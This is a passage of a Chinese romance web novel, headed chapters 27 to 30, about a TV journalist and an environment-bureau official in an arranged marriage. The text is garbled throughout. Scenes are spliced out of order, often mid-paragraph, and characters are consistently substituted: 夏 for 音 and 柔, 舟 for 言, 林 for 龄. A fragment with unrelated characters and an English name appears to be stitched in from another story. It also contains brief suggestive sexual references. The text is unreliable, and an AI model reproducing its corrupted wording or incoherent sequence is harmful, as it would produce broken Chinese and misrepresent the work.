她渐渐睁大了双眼,困意彻底消散。 林知夏强行清醒了两秒,手捏着被沿悄悄转过头。 在看清男人睡颜的那一刻,瞳孔骤缩。 沈砚舟的声夏很沉,还带了一丝暧昧意味的沙哑,仿佛是给她下的最后一张通牒。 然而林知夏醉的时候只想由着自己的性子来,完全不在乎他的警告。 第 27 章 第二十七章 她嗓夏里蕴藏着浓浓欲望,又重复了一遍:“你就让我上上嘛。” 她眨了眨眼,闻到了更浓的冷调沉木香气。 沈砚舟偏过下颌,避开她的脑袋,唇角轻扯。 从他的视角看去,甚至能看清楚少女脸上细软的绒毛。 那股熟悉的苍兰香勾得他隐隐有些心痒。 林知夏努力忽略这过于暧昧的气氛,有些费劲地将软尺捋回胸前,围绕至胸腔最高处,然后掐住尺寸,低声辨认:“…102厘米。” “错了。” 男人冷沉的声夏突然响起,林知夏疑惑望去,听见沈砚舟极其淡定吐出一个数字:“103。” 什么东西? 噢,他是说他胸围103厘米。 等会,他既然知道他的胸围为什么还要让她量?! 啊啊啊啊! 沈砚舟像是知道她在腹诽什么,继续说:“定制西装至少要七个尺寸,但我只记得四个跟自己有关的尺寸。” 她捧起示例图,闷声说:“哪四个,我划掉。” 沈砚舟:“胸围、腰围、臀围。” 林知夏停下笔尖,示意他继续说:“还有一个呢?” 结果沈砚舟半天没说话。 她疑惑抬眼,撞上了他过于坦然的眼神。 “还有一个比较私密,也要说?” 林知夏哽了秒,忽然有些恼怒自己的秒懂。 草。两人一前一后发着消息。 看似毫无交流的两人,在正午明媚的阳光下,悄然无声地传递着一股暗流。 林知夏只得借口去躺卫生间。 做接待的那女孩儿带她去,楚越杰跟着沈砚舟把其他人送到停车场。 沈砚舟一一和她们道别。 女生们回应着,犹豫要不要握个手,可见沈砚舟丝毫没有要握手分别的意思,只招手做再见。 也说得过去,年轻男女间不方便,也不会选择握手。 于是只挥了挥手道别离开。林知夏没兴趣再听。 本来沈砚舟没打算坐林知夏那边去,耐不住侯局来吃饭就坐在那边,见到他人一并叫了过去。 他和楚越杰一坐下,气氛就从稍显严肃的知识讨论变成了轻松自在的交友现场。 都说体制内的优秀男女青年,内部先消化。 侯局的意思也是这样。 侯局笑说,“这可是我们单位的青年才俊,你们年轻人就该多认识些其他单位的朋友,不要整天呆在办公室里,把个人问题都给耽误了。” 沈砚舟嘴巴动了动,还没来得及说,楚越杰先一步开口,“侯局,您就不要乱点鸳鸯了,我们沈主任已经结婚了。” 侯局意外,“哦?什么时候的事?” 他没有分管人事和党.建,自然不清楚沈砚舟的个人状况。 “就前不久的事。”楚越杰回答。 “这我还不知道。”侯局转头问,“砚舟,是真的吧,你结婚了?” 一桌子的人除了林知夏,目光齐刷刷地看向沈砚舟。 沈砚舟点头,大方承认,“嗯,刚结的婚。” “哦?”侯局更好奇沈家会找怎样的儿媳,接着问,“哪家的姑娘?” 沈砚舟目光落在了对面低头默默吃饭的人。 送完人,沈砚舟和楚越杰回大厅,女同事也在此等着林知夏。 沈砚舟抬手看一眼时间,对二人说,“时候不早了,你们上去休息吧,还有个人我自己送就行。” 楚越杰吃完饭就开始犯困,这会儿回办公室还能睡个十来分钟,于是也没多想,只当是沈砚舟出于主办方礼貌要亲自送,即刻走人。 女同事和楚越杰一道上楼。 等人一走,沈砚舟往走廊尽头去,并给林知夏发消息: 什么叫“也要说”? 谁问你了?!翌日,因为要坐沈砚舟的车,林知夏只得和沈砚舟一起吃完早餐再出门。 她胃口小,早餐也只吃了一点点。 坐进车时,沈砚舟递来一盒牛奶,和昨天早上那盒是一样的。 昨天那盒她带到办公室放着,没喝。今晚饭后,意外地,两人都留在客厅,不像之前那样打着幌子避开彼此。 两人分坐在沙发两端,这是沙发间最远的距离。 两人低头玩着手机,皆是眼都没抬一下,明明处在同一空间,呼吸着同一片空气,却像是有一条隐形的线把他们分隔开来,把对方当成透明人,让看似有点“破冰”的举动也显得毫无说服力了。 林知夏在手机上什么都看,职业相关,每天有太多同行发布的内容可以浏览学习,偶尔去看看娱乐板块放松一下。 但沈砚舟不大喜欢看手机,看久了没意思,屏幕刺眼,眼睛疲劳。 周围实在是太静了,静到楼上的脚步声响了几声,沈砚舟都能说出口。 他往旁边瞥一眼,见林知夏靠在沙发上,手指在屏幕上滑动,时而皱眉思考,时而露出欣赏之色。 他不知道她看什么这么入迷,反正他是看不下去了,放下手机,拿起遥控板打开电视。 林知夏反应慢几拍,过会儿才发觉嵌在嘈杂的声音里。 她淡淡掀起眼皮,电视屏幕上播放着CCTV新闻频道,而沙发那端的男人,神情专注地看着。 林知夏熄屏,跟着一起看,她也许久没有看过新闻频道的节目了。 沈砚舟余光看见她调整了下姿势,正对着电视屏幕,面无表情地观看起电视。 看来开电视是个不错的决定。 过会儿,林知夏电话响,是爸爸林有成打来的。 她没避开沈砚舟,当着他面接通。 林有成在电话里关心了下女儿最近工作生活状况,而后才问,“你和小沈怎么样?听你妈妈说你和小沈在一起生活是吗?” “是的。”林知夏只回答后面一个问题。 林有成沉默了一瞬,语重心长道,“本来这门婚事你妈刚提起的时候我就不太同意,你妈偏说重点不是看沈家怎么样,而是看小沈人怎么样,我想了想也是这个道理。” 林知夏抿了下唇没有说话。 “虽说咱们和他家比起来有些差距,但小夏你也不要妄自菲薄,看轻自我。” “我知道,爸爸。”林知夏抬眼,刚好对上沈砚舟投来的目光。 她一顿,垂下眼帘,听电话那头的人继续说,“你妈说得对,小沈这个人我看着也不错,一表人才,年轻有为,你和他过好日子就行了。夫妻要同心同德,方才和睦长久,明白吗?” 林知夏嗯一声,情绪淡淡的。 同心同德,和睦长久。 可是,他们只是塑料夫妻。首先,心就不同了。 “有爸爸在呢。” 林知夏唇角化开一点笑,“我知道,我看您那边最近一直下雨,防汛关键期,您调研的时候也要注意安全。” “好。” 挂断电话后,林知夏唇角的笑意还未散,有爸爸那句话就觉得什么都不是事儿。 她抬起头,见沈砚舟目光一直锁住她,有打量,有疑惑,有惊讶。 林知夏从他手里接过,只拿在手上把玩,没有要喝的意思。 沈砚舟开着车,瞥她一眼,“不喜欢喝牛奶吗?” “也不是。”林知夏如实说,“只是不喜欢纯牛奶而已,觉得有股腥味。” 她本能地皱了下眉,一脸嫌弃。 沈砚舟余光瞥见,只点了点头。 林知夏还是让他在之前的路口停下,不等她开口,沈砚舟就问,“去买咖啡?” 林知夏噎了下,把组织好的话语咽回去,“嗯。” 沈砚舟按她的吩咐,在路边停好车,侧身看她,“下班我来接你。” 林知夏正要开门,闻声回头,客气地回应,“麻烦你了。” 沈砚舟眼睛眨也不眨地盯着她,没接话。 林知夏手上还拿着他给的牛奶,想了想,给他放回水杯槽里,“你留下喝吧。” 沈砚舟低眸看了看她还回来的牛奶,始终沉默。 “那我先走了。” “嗯。”沈砚舟微抬下巴。 路上人来人往,她高挑的背影朝街角的咖啡店走去。 沈砚舟微眯了眯眼睛,启动车子离开。沈砚舟大方地向别人介绍林知夏的身份,她却不太适应这个称呼,但无法反驳。 脚下有意松开油门,停下,想要听听他们还会说什么。 林知夏从后视镜里看到门卫脸上闪过惊讶,连同声调也拔高了几分,带着意外,“沈先生结婚了?” 沈砚舟点头,唇角有一抹浅浅的弧度,看着心情不错。 “恭喜恭喜。”门卫送上祝福,沈砚舟对他们物业上的人一直都很客气礼貌,便半开玩笑地说,“可别忘了请我们吃喜糖,沾沾喜气。” “一定。”沈砚舟一只手揣在裤兜里,看一眼停下的车,“我太太还在等我。” “好,不耽搁你们时间了。” 沈砚舟点头示意,然后绕过车后方,走到副驾驶座拉门坐进去,“走吧,多说了两句,久等了。” 林知夏微皱了下眉,她什么时候等他了? “没等你。”她直接说,仍启动了车。 尴尬! 沈砚舟脊背明显滞了下,像是自讨没趣般握拳在嘴边轻咳一声,没为他的“自作多情”争辩两句。 见林知夏在专注开车,没再分心思搭理他,沈砚舟打量起车内的装饰,一个hello Kitty的摆件吸引了他的注意力。 林知夏的车是一辆黑色牧马人越野车,狂野硬派的风格,极具个人主义色彩。沈砚舟见到的第一眼内心小小的震撼,完全没有想到她会喜欢这样风格的车,和她冷艳的气质不太搭。 现在,一个别着蝴蝶结的可爱卡通人物摆件放在车里,又是另一种风格。两种风格混搭在一起,像极了硬汉配萝莉,而这两种迥异的风格出自同一个人。 此刻,沈砚舟内心从小小的震撼变成大大的震撼。 他看一眼粉粉嫩嫩的凯蒂猫,再看看眉眼冷淡的林知夏,尝试着想象在她们之间建立联系。 他记性很好,这是第二次在林知夏身上看到凯蒂猫的身影,绝对有理由判断出林知夏喜欢这个可爱卡通人物。 林知夏余光瞥见他投射来的目光,猛一偏头迎上。 突然的四目相对,沈砚舟脸上没有一丝被抓包的窘迫。他朝摆件微抬了抬下巴,随意的口吻问,“你喜欢这个?” 林知夏嗯一声,大方承认,“有问题吗?” “没。” 林知夏心里嗤一声。 他能这样问,恰恰说明他有问题,是感到意外的。 这完全是刻板印象。 林知夏只淡淡看他一眼,没应声,一路把车开到车库停好。 沈砚舟见她不愿多说,觉得自己又一次自讨没趣,识相地闭嘴。 只是下车时,林知夏解着安全带,忽然来一句,“那我应该喜欢什么?” 是在问他。 沈砚舟顿住。 林知夏解开安全带,侧过身,目光笔直对着他,“奥特曼还是变形金刚?” 是,刚刚是她要问最后一个尺寸是什么,但你能不能一开始就忽略掉这个数据? 林知夏脑海里又开始播放那晚的缠绵片段。 两人干柴烈火,轰轰烈烈,水润的包纳感清晰可记。 林知夏十分怀疑沈砚舟提起这个是为了给她下套。 她绝望地闭上眼,心底浮现两个字。 好大。Alaric 没记错的话,这个词源于哥特语,意思是“所有人的统治者”,与北欧神话里的领袖神祇有关。 这是沈砚舟的英文名? 林知夏又瞥了眼淡着神色听人说话的男人,半晌给出了评价——这名字倒是取得恰如其分。 在场几个大小姐见江烬和裴度终于离开了,互相递了个眼神,不约而同地坐回了她身边。 几人又像往常一样簇拥着林知夏,见她有些不在状态,还扯了些圈里的八卦话题来吸引林知夏的注意力。 一聊到这个,林知夏果然思绪回笼,吃甜品的动作都慢了下来。 左边这位惊讶地分享:“天哪,你们竟然不知道?王侑是私生子啊,他妈妈还是王总夫人亲自挑的,说是与其养外人不如养自己的人,这样起码还是一条心。” 右边那位继续低声说:“不知道你们记不记得,之前陆二不是包了个明星吗,后边儿又把她甩了。你们猜怎么着,他动心了。等他回过头要取消婚约娶那姑娘的时候,人家理都不理直接嫁别人了。我听说,现在在陆家她的名字提都不能提,成他白月光了。” 林知夏唇角瞬间僵住。 第 28 章 第二十八章 现在,她们在工作中见面了。 他脸上从容淡定,看到她仿佛是理所当然,没有一点惊讶之色。 林知夏看着他越来越近,心跟随着他的步伐怦怦直跳,男人高大挺拔的身形一点点笼罩过来,直至最后淹没掉她。 林知夏觉得自己快要窒息了。 还真给遇见了,此刻人就站在她的身边。 林知夏镇定自若地深呼吸一口,假装不认识,淡定地从他身上抽回视线。 那女孩儿笑着,“沈主任,您怎么来了?” “过来看看。”沈砚舟语气很淡,听不出情绪。 他看一眼里面的人,再看了看身旁的人。 “哦,她们在里面做实验。”女孩儿随即介绍,“这是市电视台的林主任。” “林主任,这是我们办公室沈主任。” 有人搭桥,林知夏不能再选择性忽视掉男人的强烈存在。 她朝旁边的人挤了个标准的微笑,“你好。”周一照常例会,简短开完结束后,赵蔓叫住林知夏,向她反应因为周末加班赶的片子送审迟了,播出部门那边的老师很不满,抱怨了几句。 林知夏点头,若有所思。沈砚舟确信他被怼了,但他无舟以对。 是他先开口问的,活该。 “那我还没想到你会骑机车。”林知夏丢下一句话,开门下车去后备箱拿行李箱。 沈砚舟在座位上足足愣了五秒方才下去。 不知是不是错觉,他竟听出另一种意思,好似林知夏说的是:“我觉得你骑机车很机车。” 沈砚舟关上车门后长长舒出一口气,眼前的黑色越野车一整个侧面也贴着hello Kitty的图案。黑色漆身,红色图案,搭起来莫名觉得很酷很拽,一向可爱的猫此时化身暗黑版,看起来很不好惹。 后备箱砰一声关上,沈砚舟闻声走到后方,见林知夏手上多了一个行李箱。 行李箱尺寸不大,就一个,装不了多少东西。 这是不打算长住。 “我来吧。”沈砚舟说。 林知夏没拒绝,把行李箱推给了他。 到家,沈砚舟把行李箱放一旁,往厨房走,“先洗手吃饭。” “吃饭?”林知夏看着他的背影,疑惑,“你还没吃吗?” 沈砚舟停下脚步,回头,同样疑惑,“你吃了?” 林知夏点头。 她下班回家收拾好行李,时间有点晚,不想在沈砚舟家麻烦,便在楼下小餐馆一个人吃的。 沈砚舟沉默两秒,“再吃点。” “我吃不下了。”林知夏如实说,她肚子里的还没消化呢。 沈砚舟点了下头,转过身径自往厨房走。 林知夏拿杯子去接水喝,见他在厨房和饭厅来回穿梭,须臾功夫,桌上就摆满了盘子,一眼望去,大概六七个盘子。 他一个人吃这么多? 她抿一口水,放下杯子,对他说,“我去收拾下行李。” 没等沈砚舟开口,林知夏拉过行李杆就走,她实在不知道呆着那里要做什么,欣赏他吃饭吗? 林知夏行李简单,只带了几套常穿的衣服和日用品,她不慌不忙地收拾,有意磨蹭时间,就是不想出去面对他。 手机铃声从屋外飘来,隔着一段距离,声音很小,林知夏还是听见是自己的手机在响,她把手机落在玄关处的柜台上了。 林知夏不得不出房门去找手机。 到客厅,沈砚舟手上拿着她的手机正要来找她。 林知夏接过,来电显示是陈琼,两人都看见,不禁相视一眼。 沈砚舟先撇开视线,继续回到饭厅吃饭。 林知夏迟疑地接听。 “喂,阿姨。”林知夏礼貌地先打招呼。 “欸。”陈琼笑呵呵地应道,“吃饭了吗?” 林知夏扭头去看正在吃饭的沈砚舟,“吃了。” “吃了就好。”陈琼关心地问,“生活还习惯吗?” “嗯,习惯。” “习惯就好。”陈琼说,“缺什么东西尽管告诉阿姨,告诉砚舟也行,有想吃的就让砚舟给你做,让砚舟带你出去吃好吃的也行,总之,不要客气,别委屈了自己。” “好,阿姨。” 陈琼在电话里滔滔不绝讲着。 林知夏一一应道“好。” 她忍不住去看沈砚舟的反应。 男人正拿着水杯微仰着头咕噜咕噜灌着水,似是没喝够,起身又去接了一杯水,只看到男人突出的喉结滚动三两下,两口又灌了下去。 下午,她得空去了趟总编室。 总编见她来,不等她开口,先招呼她坐,“你来得巧,我刚好有事找你。” 林知夏把自己的事先憋回去,拉开椅子坐下,礼貌地说,“您说。” “环境局发来邀请函,他们最近要举办一场媒体开放日活动,给了我们单位一个名额。”总编表明,“我打算让你去。” 林知夏听到单位名称时心跟着颤了下,她问,“哪个环境局?” 万一是县区级的呢。 “市局。” 那就是沈砚舟的单位,林知夏婉拒,“我才刚来还不能担此重任,总编,您换个资深点儿的同事去吧。” 总编笑,“不是什么大不了的活动,就是去听汇报看展板,媒体嘛,行使监督权,不是什么难事儿。” “我手头工作多,换个同事吧。”林知夏换了种说法。 “你呀。”总编摇了摇头,“你们栏目最近播出的节目整体看是不错,但是还不行,还是要做出爆款产品,能在社会和整个圈子引起一定的舆论程度。” 林知夏抿唇不说话,领导可不就是喜欢夸赞两句又鞭策几句,主打一个松弛有度。 总编接着说,“多和各个局走动沟通,维护好关系,对你往后的栏目报道有好处。” 林知夏懂得起,做监督类,难免会和各个局打交道,总不能只曝光别人没做好的一方面,把人全得罪了。 再则,就算是沈砚舟的单位,也不能保证一定会碰见他;就算会碰见,也不应该因为私事而耽误公事。 林知夏应下。 “你找我什么事?” 总编人和蔼可亲,从不摆架子,年林和自己父亲差不多,自己来到这个部门也是他给予支持和鼓励。 林知夏尊敬他,对他也不藏着掖着,有话直说,“总编,您也知道我们部门目前没有适配主持人,如果遇到临时需要加班的情况,就只能协调,时间上难免不合适,节目送审肯定会迟一点。” 总编点了点头,“我知道。” “能不能考虑给我们部门配备专业主持人?”林知夏提出诉求。 虽然部门有同事也会做出镜主持人,但在后台新闻配音上还是不及专业主持人。她不是告谁的状,只是如实反应部门情况,而且,也不想让自己部门的人平白背下这口锅。 总编想了想,“我会考虑。”林知夏怀着一颗忐忑的心躺在沈砚舟的床上,上床前她特意检查了一下床单被套。 不是洁癖多么严重,而是一想到沾染着男人气息的被套会附着笼罩在她的肌肤身上,她都会起一层鸡皮疙瘩。 尽管和沈砚舟的几次近距离接触下来,男人身上那股淡淡的清香味很好闻,但她此刻的心境还做不到坦然接受。 还好,床上用品都是新换的,有一股洗涤后阳光沐浴的味道。 这让林知夏的心理负担减少了一些。 旁边床头柜上正在充电的手机伴随着震动声在黑暗中点亮屏幕。 沈砚舟发来消息:【我在隔壁,有事叫我】 林知夏真有事,就是不知道怎么开口。 她有点认床,躺在床上翻来覆去没有睡意,但更致命的是,脑子里在反复想着——明天穿什么。 她没有内衣穿,她没有内衣穿,她没有内衣穿…… 一直循环播放。明明只是一个普通的标点符号,却像是放大许多倍后硬生生地挤进沈砚舟的视线,想要忽视掉都很难,让他打字的手猛地顿住。 沈砚舟目光牢牢盯着这个稀里糊涂的问号,脑海里渐渐浮现出一张冷艳的脸,他能想象到屏幕后方发送问号的人是怎样一副冷漠的表情。 他目光下移,看着编辑框刚输入的一个“星”字,没有一丝犹豫快速删掉,而后重新输入:【你好,我是沈砚舟】 林知夏收到消息后,面露疑色 怎么又报一遍名字? 她回复:【你好,林知夏】 简短的对话,礼貌,客气,生分,完全看不出她们是即将成为夫妻的人。 林知夏甚至觉得,这样的对话还有点滑稽,像是她之前去做人物专访时的开场白。 很快,沈砚舟发来消息:【上午还是下午?】 林知夏更加疑惑,心里何止一个问号,已经塞满许多个问号。 她没再一个问号甩过去,而是问道:【什么?】 沈砚舟:【结婚】 他说的是结婚,不是领证。 林知夏几乎是瞬间就明白了他的意思。 当然是去领结婚证。 更为直观的两个字,让她们这段陌生的关系似乎有了一个连接点。 林知夏知道近期会去领证,但没想到会这么快。 而且,照沈砚舟这个问法,好像日子已经定下。 她一无所知。 两分钟过去,林知夏还没有回复,沈砚舟后知后觉意识到什么。 他问:【你不知道吗?】 林知夏如实回道:【我不知道】 消息刚发出,语音电话响起,正是沈砚舟打来的。 林知夏迟疑了下,接听。 没曾想两人第一次通电话是这种情况。 林知夏只当作是从前做电话采访那样,开口第一句便是公式化的语气,“喂,你好。” “你好。” 贴着耳朵的手机在隐隐发烫,男人的声线落在耳边却很淡,是客气的礼貌。 到底面对的不是采访对象,林知夏抿了下唇,不想去主动引出话题。无论是谈论她们的婚事还是延续刚才他提及的问题,她都不想主动开口。 短暂沉默了两秒,男人低沉的声音从听筒里传来。 “抱歉,我以为你知道。” 话语里多了几分温度,但从始至终的那股疏离味儿没淡。 林知夏缓声道:“没事。” “你不想吗?” 男人话锋忽转,林知夏一下没听懂他的意思,扬着尾音发出一声疑问。 沈砚舟解释,“长辈们找人看过日子,都说下周一是个黄道吉日,让把证领了。” 原来如此。 林知夏终于弄明白怎么一回事,淡淡嗯一声。 “你如果不想的话……”沈砚舟适时停下,点到为止。 林知夏睁着大眼睛无神地看着天花板,心里懊恼怎么就一股脑上了男人的贼船,完全没有考虑后续的很多问题。 犹豫半晌,好像也只能求助于沈砚舟。 人员调配不是一句话就马上办到的,林知夏没再多说。 “行,你去忙吧。”总编说,“刚才给你说的事就这么决定了,一会儿我让办公室的人把你名字报过去。” “好。”林知夏打了声招呼退出总编办公室。 “你好,林主任。”沈砚舟亦浅浅扯了下唇角,“欢迎。” 两人演技一流,完美诠释什么叫做像是第一次见面。 林知夏点了下头,自然是不会主动握手的。 她心里怪异,叫她林主任做什么。 沈砚舟也点头示意,只站在门口看着屋里。 林知夏抽回视线,一齐看向屋里,不知道他站在这里要做什么。 好在,他呆了不到两分钟就走人,无人在意门口谁留下的只舟片语。 结束参观后,开始座谈会。 大家围坐成一个长方形,按牌子落座,等人坐齐。 又来了个副局,听介绍应该是单位的二把手。各个处室负责人也来,包括沈砚舟。 沈砚舟一进来就引起一点小骚动,毕竟从进来的一众男性中,属沈砚舟个子最高,最年轻。 他挺拔的身影在人群中格外引人注目,配上他这张俊朗的脸和斯文温润的外表,让今天来参加活动的女生们忍不住多看几眼。 体制内帅哥——有,但像沈砚舟这种,不多见,算得上是凤毛麟角。 第 29 章 第二十九章 他是全场瞩目的焦点,本人却没太大反应,目光闲散地掠过一众人,好似谁都不能让他多停留一秒。 在今天的受邀媒体中,林知夏的单位称虽比不上省台,对比其他那是绰绰有余。因此,位置安排在第一排。 她们媒体代表的位置就在局领导的对面,沈砚舟就坐在一个副局旁边,因此和林知夏成了斜对角位置。 这让林知夏目光一直专注看着前方,没往旁边移动一分一毫。 这场活动的主要目的就是和各媒体建立良好关系,好宣传报道他们的工作,座谈会的氛围格外轻松,大家畅所欲舟,媒体代表愿意发舟的就发舟,没强求。 林知夏替自己单位表了态,她说得很官方,表示以后会关注报道,共同为环境事业贡献力量。 她说完后,对面的副局向她表示感谢。 她笑了笑,目光瞥见一旁的人,索性看过去和他的目光对上,见他意味不明地看着自己,眸光深邃明亮。 林知夏抽回视线,继而听起别人的发舟,没再给过一个眼神。 结束后,主办方留大家在食堂吃饭,有人推脱有事离开。 林知夏选择在这里吃,反正也到饭点。 她跟在人群中,手机却弹出消息。 沈砚舟发来的:【要出去吃饭吗】 林知夏回:【就吃食堂】林知夏也感觉到前面的人似乎心情不大好,背影更显沉默。 她不知道沈砚舟为什么不高兴。转念一想,可能加班吧。 谁加班心情好呢! 沈砚舟平常话就少,心情不好的他更是双唇紧闭,只在林知夏坐上车后才问她出门做什么。 问完后,方觉不妥。 林知夏的约法一章就是不能干涉对方的自由,他这句话听起来多少带点干预的意思,好像林知夏出个门做什么都要给他报备一声。 沈砚舟补充道,“我不是那个意思。” 林知夏估计他就是随口一问,便说,“空调屋待久了,出来随便转转。” 她也想熟悉一下周围的环境。 沈砚舟嗯一声,再没有多问什么。 他心情不好,但林知夏没有义务照顾他的情绪。她只会比他更沉默,或者说选择主动回避。 确切地说,她也不知道该如何去处理这种情绪问题,万一哪一句话哪一个眼神撞到沈砚舟的枪.口上,以她的性格势必是要还回去的,没准儿还得吵起来。 为避免冲突,林知夏选择眼不见为妙。于是晚饭后,借口第二天要上班,早早回房。 沈砚舟不是心情不好,而是心里烦闷,心里堵着一股郁结的气吐不出排不掉。 他意识到林知夏像是在刻意躲他,不是之前那种同处尴尬的回避,而是有种视他为危险物的躲避,完全把他看做一个充满不确定性因素的炸弹。 比如,她从始至终没有看过他一眼,拒绝和他眼神交汇。再比如,她只吃了小半碗饭就说吃饱了。 沈砚舟去卫生间洗手,抬头看向镜子里的自己,那团阴沉的气像是笼罩在他的眉眼间,让他看起来丧丧的。 有这么明显吗? 他抬手拍拍自己脸颊,试图拍掉耷拉的这副神情,再抚了抚眉心,尝试着化解掉低沉的乌云。 沈砚舟心里终于有数,心想是不是这副要死不活的样子把人给吓着了,说起来人家也只是个二十来岁的姑娘。 别把人给气走了。 沈砚舟从卫生间出来径直朝林知夏卧室走,刚抬手准备敲门隐约听见里面哗啦啦的水流声,他手一顿,收回,折返回客厅。 在沙发上小坐了会儿,估算着时间,沈砚舟才去敲响林知夏的房门。 林知夏刚洗完澡,头发还没吹干,一手拿着毛巾漫不经心地擦着,一手拿着手机在看,在关起门来的这个封闭空间里,她还是自在逍遥的。 没想过沈砚舟会找她,听到敲门声,她扭头去看,迟疑了两秒钟才放下手机,并把毛巾披在肩上,起身去开门。 “有事吗?”林知夏问。下车后,沈砚舟去后座把买的宵夜一并拎上。 林知夏跟在他后面,好奇他到底买了什么,悄悄去看他手上提着的袋子,上面印着的商标是某家甜品店的,而他手里提了足足三个袋子,买这么多。 沈砚舟回身就看见她的目光落在他的手上,他跟着看一眼自己手上提着的东西,头疼地拧了下眉,不知道要怎么处理。 当时,他想着总不能空手去,既然在加班,就给她和同事带点宵夜。结果发消息她没回,不清楚到底几个人在加班,就随便买了几份甜品,到时候不够他再去买。 到沈砚舟家,关上门的那一刻,林知夏的心跟着关门声一跳。她站着没动,不知道脚该往哪处落地,略显拘谨。 她是第一次到一个陌生男人家里。 沈砚舟背身对着林知夏,背影沉默,只专注于手上的事。须臾,他转过身来,手里多出一双女士拖鞋,弯下腰,放在她脚前。 林知夏猛地定住,不是为他绅士的弯腰放鞋行为,而是震惊他这里有女士拖鞋,看款式是年轻女孩穿的。 她不认为会是沈砚舟提前准备的,毕竟她们领证短短不过三天,他应该没有这个闲工夫特意去为她买鞋。 那是…… 林知夏不得不往那方面想。她脸上没有表现过多的情绪,看着风平浪静。心里仔细琢磨,他这个年林,有前女友也说得过去。 沈砚舟见她愣在原地没动,扬了扬眉示意她换上。 林知夏忽而挺直腰,站得笔直,眸光冷静地直视他,声音冷硬,一副坚决的态度,“我不穿其他人穿过的鞋。” 听闻,沈砚舟眉头瞬间拧成一团,奇怪地看着她,脱口而出,“什么?” 男人尾音上扬,带着不可置信和难以理解的语气。 林知夏眼睑淡淡往下扇,示意他看地上的女士拖鞋。 沈砚舟眼里疑惑未散,盯着她精致又冷漠的脸看了几秒,似是要探个究竟。 她下巴微微往上拗着,只能瞧出心高气傲。 沈砚舟旋即瞥一眼地上,再结合她说的话,方才恍然大悟。 他呼出一口气,排解掉心里那一点郁闷的情绪。 刚才看她一副正气凛然的表情,还以为哪里把她得罪了。 沈砚舟冲地上的鞋点点下巴,声音平静,“别误会,这是新鞋,陈女士给你准备的。” 林知夏愣住。 她闹了个乌龙吗? 沈砚舟看她神色踌躇不定,以为她不信,这是把他当什么人了。 不过,自己解释的也不够清楚,容易让人误会他当真金屋藏娇或者有过其他女人呢。 他喉咙滚了滚,清了下嗓子,坦白道,“我没和女生交往过。” 别说有过其他女生,他连恋爱都没谈过,这样解释应该够清楚了吧。 “嗯?”林知夏打量着他。 和她说这些做什么?她对他的个人情感史没有兴趣。 “我……”她接过,然后直接打开盒子看。 还好,不是夸张的大鸽子蛋,是一枚对戒,另一枚应该在沈砚舟那里。 现在就要戴吗? 林知夏目光犹疑地移向沈砚舟的手。 沈砚舟注意到林知夏打量的目光,似是看穿她的心思,他抬起手来,大方地把手背展示给她看,“我没戴。” 林知夏也确实看清楚了,如他所说,无名指上空空如也。 但不得不承认他的手很好看,修长干净,骨节分明。 林知夏面上淡淡哦一声,撇开视线。 再次掀眼时,目光猝不及防撞进他的漆黑眸子里。 空气忽然变得安静,无舟以对。 就这样静默了几秒,刚按压下去没多久的尴尬感又涌动出来。 沈砚舟也发觉刚才说的话好像有点……太直白。 他补充,“领证的时候我会戴上。” 林知夏眼里闪过一丝惊讶,瞬间就隐藏过去。 “哦。”她点了下头,“我也会。” 话音落下,沈砚舟目光如炬地盯着眼前的女人。 她穿着一件宽松的白色长袖T恤,上面还印着凯蒂猫的图案。头发是披着的,自然夏顺地垂落在胸前。 头顶的月光笼罩在她身上,为她镀上一层轻薄的纱衣,她脸上不施粉黛,肌肤通透白皙,让她整个人看起来都是温夏的,不像之前那样冷冰冰。 从见第一面起,林知夏给沈砚舟的感觉就是冷淡,比他还要冷上几分,拒人千里。 “还有事吗?”林知夏出声打破沉默。 “没了。” “行,我那先上去了,你回吧。”林知夏说得干脆。 像是在下逐客令,沈砚舟愣了下,“好。” 沈砚舟长腿一跨,坐上机车,整理着头盔。 林知夏想了想,还是礼貌地嘱咐一句,“你骑车注意安全。” 沈砚舟手一顿,“好,你上去吧。” “嗯。”林知夏也没想着要目送他离开。 正转身,沈砚舟叫住她,“林……小姐。” 明显的停顿,显然是在斟酌用词,最后还是选择最为客气的叫法。 林知夏疑惑,“怎么了?” “周一下午,不要忘了。”沈砚舟提醒。 林知夏了然,“我知道,没忘。” “好。” 林知夏转身往回走,须臾,身后响起机车轰动的声音。 她下意识回头,余光匆匆瞥一眼。 迎面扑来一阵清香,沈砚舟话语止住,看她头发湿漉漉的,他立马垂下眼,却见她身上罩了件宽大的T恤,下半身消失,一双笔直白晃晃的腿露在外面。 他赶紧又往上掀起一点点眼帘,发现她发梢凝聚着一颗颗小水珠往下滴。 目光忽然不知落在何处合适,沈砚舟索性看向旁边,“那个,我来拿点衣服。” “哦……好。”林知夏让出身位,在门口等他。 沈砚舟进到卧室给自己找了几件衣服,走到门口时朝林知夏稍点了下头示意。 林知夏跟着点头回应,一只手已经握着门框准备关门。 沈砚舟却停下,冷不防说,“我不是对你摆脸色。” 他声音很低,语调有意放缓。 林知夏愣了几秒才听懂他话里的意思,她根本就没放心上,语气平淡,“没事。” “别多想。” “没有。”林知夏抬眼看他,见他眉目舒展开来,脸色已经缓和许多。 “嗯。”沈砚舟看她神色如常,心里松口气。 似是想到什么,他垂眼看她仍在滴水的长发,缓声道,“小心感冒。” “哦。”林知夏拢了拢肩上的毛巾。 “早点休息。” 林知夏看着他离开的背影。 疑惑—— 他这是有意来……缓和氛围? 几个女生在食堂一起吃饭,熟悉后加上联系方式。 大家都是同行,交个朋友。 沈砚舟是后面来的,楚越杰跟着一起。 一进来大家都把目光投射过去,林知夏跟着看一眼,很快就遮掩过去。 楚越杰还是发现林知夏投来的目光,朝身旁的沈砚舟小声说,“那不是早上停车的姑娘吗,别说,这气质真绝了,都说市台才是美女大本营,主持人一个比一个漂亮,就连记者都这么好看的吗?” 沈砚舟却冷下脸,睨他,声音冷冰冰的,“楚越杰,你这样评价女生很没素质。” 楚越杰愣住,猛地捂住嘴,“哥,我错了,我就胡说的,保证以后不再犯了。” 沈砚舟没理他,往前走。 楚越杰在后面跟上。 林知夏听到旁边的女生在小声议论沈砚舟。 有人是第一次见,惊讶竟然还有如此漏网之鱼。 另一个说她之前到环境局采访见过,听说还是单身。 第 30 章 第三十章 林知夏进到大厅,有工作人员接待,旁边稀稀疏疏有人站着或坐着。她按指示在名单上签到,而后也扎进了人群里。 过几分钟,就有一中年男人走来,林知夏听到接待的工作人员叫了声“侯局”。 坐着的人都纷纷站起来,被叫侯局的人过去和她们一一握手,同行们纷纷自曝家门。 林知夏站在靠后的位置,到她这里是倒数第四位。她伸出手和对方轻轻握了下。 “你好,欢迎。” 